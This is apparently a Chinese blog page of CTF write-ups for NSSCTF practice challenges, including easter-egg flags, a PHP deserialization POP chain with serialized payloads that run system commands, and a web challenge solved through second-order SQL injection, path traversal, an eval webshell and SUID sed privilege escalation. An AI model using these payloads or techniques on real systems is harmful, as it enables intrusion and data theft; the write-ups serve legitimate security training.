NSSCTF第10页(3)

[LitCTF 2023]彩蛋

第一题:

LitCTF{First_t0_The_k3y! (1/?)

第三题:

<?php

// 第三个彩蛋!(看过头号玩家么?)

// R3ady_Pl4yer_000ne (3/?)

?>

第六题:

wow 你找到了第二个彩蛋哦~

_S0_ne3t? (2/?)

第七题:

这个好像是最后一个个彩蛋

F1rst_to_Th3_eggggggggg!}

拼接:

LitCTF{First_t0_The_k3y!_S0_ne3t?_R3ady_Pl4yer_000ne_F1rst_to_Th3_eggggggggg!}

注意:题目给的提交的格式是NSSCTF{},因此:

NSSCTF{First_t0_The_k3y!_S0_ne3t?_R3ady_Pl4yer_000ne_F1rst_to_Th3_eggggggggg!}

[MoeCTF 2021]unserialize

看代码做pop链

<?php

class entrance
{
public $start;

function __construct($start)
{
$this->start = $start;
}

function __destruct()
{
$this->start->helloworld();
}
}

class springboard
{
public $middle;

function __call($name, $arguments)
{
echo $this->middle->hs;
}
}

class evil
{
public $end;

function __construct($end)
{
$this->end = $end;
}

function __get($Attribute)
{
eval($this->end);
}
}

if(isset($_GET['serialize'])) {
unserialize($_GET['serialize']);
} else {
highlight_file(__FILE__);

利用class entrance的$start来调用class springboard,再用class springboard的$middle调用class evil的$end

最后利用eval进行命令执行

<?php

class entrance

{

public $start;

}

class springboard

{

public $middle;

}

class evil

{

public $end;

}

$a=new entrance();

$a->start=new springboard();

$a->start->middle=new evil();

$a->start->middle->end="system('ls /');";

b=serialize(a);

echo $b;

?>

传参:?serialize=O:8:"entrance":1:{s:5:"start";O:11:"springboard":1:{s:6:"middle";O:4:"evil":1:{s:3:"end";s:15:"system('ls /');";}}}

?serialize=O:8:"entrance":1:{s:5:"start";O:11:"springboard":1:{s:6:"middle";O:4:"evil":1:{s:3:"end";s:20:"system('cat /flag');";}}}

得到flag

[MoeCTF 2021]Web安全入门指北---GET

没啥说的就一个get传参

[HZNUCTF 2023 preliminary]guessguessguess

输入phpinfo,发现sql查询语句有变化

看一下post,发现有参数传递,输入倒序的phpinfo,得到flag

[湖湘杯 2021 final]Penetratable

进去之后发现源代码没东西

扫到一点东西,进去看看

这几个文件里什么也没有

登录抓包发现username是base64编码,password也是md5加密的

这里可以注册,登录,也可以修改密码

尝试二次注入

注册admin'#,修改密码,不成功

换一个闭合方式

admin"# 修改密码成功

修改密码为1234

修改admin密码

成功登录admin

一开始说的i am root 所以应该是要登录root用户

但是用同样的方式发现不能对root进行修改密码导致不能登录root

说明只有admin是有权限修改密码的

在抓包过程中看见了修改密码的发包过程,在js代码里也可以看见

req.js

function login(){

let name=encodeURIComponent(Base64.encode($(".form-floating>input").eq(0).val()))

let pass=hex_md5($(".form-floating>input").eq(1).val())

$.ajax({

url: '/?c=app&m=login',

type: 'post',

data: 'name=' + name+'&pass=' + pass,

// async:true,

dataType: 'text',

success: function(data){

let res=$.parseJSON(data);

if (res['login']){

switch (res['type']){

case 'user': location.href="/?c=user"; break;

case 'admin': location.href="/?c=admin"; break;

case 'root': location.href="/?c=root"; break;

}

}else if(res['alertFlag']){

alert(res['alertData']);

}

}

});

}

function userUpdateInfo(){

let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val()))

let oldPass=(".input-group\>input").eq(1).val()?hex_md5((".input-group>input").eq(1).val()):'';

let newPass=(".input-group\>input").eq(2).val()?hex_md5((".input-group>input").eq(2).val()):'';

let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val()))

$.ajax({

url: '/?c=user&m=updateUserInfo',

type: 'post',

data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying,

// async:true,

dataType: 'text',

success: function(data){

alertHandle(data);

}

});

}

function signOut(){

$.ajax({

url: '/?c=app&m=signOut',

type: 'get',

dataType: 'text',

success: function(data){

alertHandle(data);

}

});

}

function alertHandle(data){

let res=$.parseJSON(data);

if(res['alertFlag']){

alert(res['alertData']);

}

if(res['location']){

location.href=res['location'];

}

}

function changeAdminPage(type){

let page=$('.page').text();

if (type=='next'){

location.href='?c=admin&m=getUserList&page='+(parseInt(page)+1);

}

if (type=='last'){

location.href='?c=admin&m=getUserList&page='+(parseInt(page)-1);

}

}

function changeRootPage(type){

let page=$('.page').text();

if (type=='next'){

location.href='?c=root&m=getUserInfo&page='+(parseInt(page)+1);

}

if (type=='last'){

location.href='?c=root&m=getUserInfo&page='+(parseInt(page)-1);

}

}

function updatePass(){

// let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val()))

// let oldPass=(".input-group\>input").eq(1).val()?hex_md5((".input-group>input").eq(1).val()):'';

// let newPass=(".input-group\>input").eq(2).val()?hex_md5((".input-group>input").eq(2).val()):'';

// let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val()))

// $.ajax({

// url: '/?c=admin&m=updatePass',

// type: 'post',

// data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying,

// // async:true,

// dataType: 'text',

// success: function(data){

// alertHandle(data);

// }

// });

}

function adminHome(){

location.href='/?c=root'

}

function getUserInfo(){

location.href='/?c=root&m=getUserInfo'

}

function getLogList(){

location.href='/?c=root&m=getLogList'

}

function downloadLog(filename){

location.href='/?c=root&m=downloadRequestLog&filename='+filename;

}

function register(){

let name=encodeURIComponent(Base64.encode($(".form-floating>input").eq(2).val()))

let pass=hex_md5($(".form-floating>input").eq(3).val())

let saying=encodeURIComponent(Base64.encode($(".form-floating>input").eq(4).val()))

$.ajax({

url: '/?c=app&m=register',

type: 'post',

data: 'name=' + name+'&pass=' + pass +'&saying=' +saying,

dataType: 'text',

success: function(data){

// console.log(data);

alertHandle(data);

}

});

}

直接登录普通修改传参就行了,不用登录admin

admin修改密码是可以直接修改的,不管旧密码是否正确

function updatePass(){

// let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val()))

// let oldPass=(".input-group\>input").eq(1).val()?hex_md5((".input-group>input").eq(1).val()):'';

// let newPass=(".input-group\>input").eq(2).val()?hex_md5((".input-group>input").eq(2).val()):'';

// let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val()))

// $.ajax({

// url: '/?c=admin&m=updatePass',

// type: 'post',

// data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying,

// // async:true,

// dataType: 'text',

// success: function(data){

// alertHandle(data);

// }

// });

这里就给出了修改密码的url地址,传参方式

再根据之前的name和pass的加密方式,来修改root密码

修改root密码为4321

这里在改的时候,先登录admin账号在抓包,改包,get传参改成post,剩下的按上边源码标红地方修改

成功登录

发现一个下载,下下来看看

发现是日志

抓个包看看

发现有目录遍历,?c=root&m=downloadRequestLog&filename=../../../var/www/html/phpinfo.php

在phpinfo页面看到东西

<?php

if(md5(@_GET\['pass_31d5df001717'\])==='3fde6bb0541387e4ebdadf7c2ff31123'){@eval(_GET['cc']);}

// hint: Checker will not detect the existence of phpinfo.php, please delete the file when fixing the vulnerability.

?>

3fde6bb0541387e4ebdadf7c2ff31123直接md5得到值为1q2w3e

然后就是写马

如果直接连接http://1.14.71.254:28011/phpinfo.php?pass_31d5df001717=1q2w3e

密码cc

发现连接不了,要在写个文件,或者这样

phpinfo.php?pass_31d5df001717=1q2w3e&cc=eval($_POST[1]);

密码:1

才能连上

在根目录发现flag

什么都没有

用终端打开发现没有权限

find / -user root -perm -4000 -print 2>/dev/null

查找拥有suid的二进制文件

看到sed有suid权限,用sed读文件

sed选项:

常见的sed命令选项包含以下几种:

-e或-expression=:表示用指定命令或者脚本来处理输入的文本文件

-f或-file-:表示用指定的脚本文件来处理输入的文件文件

-h或--help:显示帮助

-n、-quite或silent:表示仅表示处理后的结果

-i:直接编辑文本文件

sed操作:

a:增加,在当前行下面增加一行指定内容。

c:替换,讲选定行替换为指定内容。

d:删除,删除选定的行。

i:插入,在选定行上面插入一行指定内容。

p:打印,如果同时指定行,表示打印指定行;如果不指定行,则表示打印所有内容,如果又非打印字符,则以ASCLL码输出。通常与"-n"选项一起使用。

s:替换,替换指定字符

y:字符转换

sed -n '1p' /flag

这种题之前从来没遇见过,考的方面偏实战,并且涉及到了提权的相关知识,题很好

相关推荐
阿伟*rui3 分钟前
配置管理,雪崩问题分析,sentinel的使用
java·spring boot·sentinel
待磨的钝刨4 分钟前
【格式化查看JSON文件】coco的json文件内容都在一行如何按照json格式查看
开发语言·javascript·json
XiaoLeisj2 小时前
【JavaEE初阶 — 多线程】单例模式 & 指令重排序问题
java·开发语言·java-ee
paopaokaka_luck2 小时前
【360】基于springboot的志愿服务管理系统
java·spring boot·后端·spring·毕业设计
dayouziei2 小时前
java的类加载机制的学习
java·学习
逐·風3 小时前
unity关于自定义渲染、内存管理、性能调优、复杂物理模拟、并行计算以及插件开发
前端·unity·c#
Devil枫3 小时前
Vue 3 单元测试与E2E测试
前端·vue.js·单元测试
Yaml44 小时前
Spring Boot 与 Vue 共筑二手书籍交易卓越平台
java·spring boot·后端·mysql·spring·vue·二手书籍
小小小妮子~4 小时前
Spring Boot详解:从入门到精通
java·spring boot·后端
hong1616884 小时前
Spring Boot中实现多数据源连接和切换的方案
java·spring boot·后端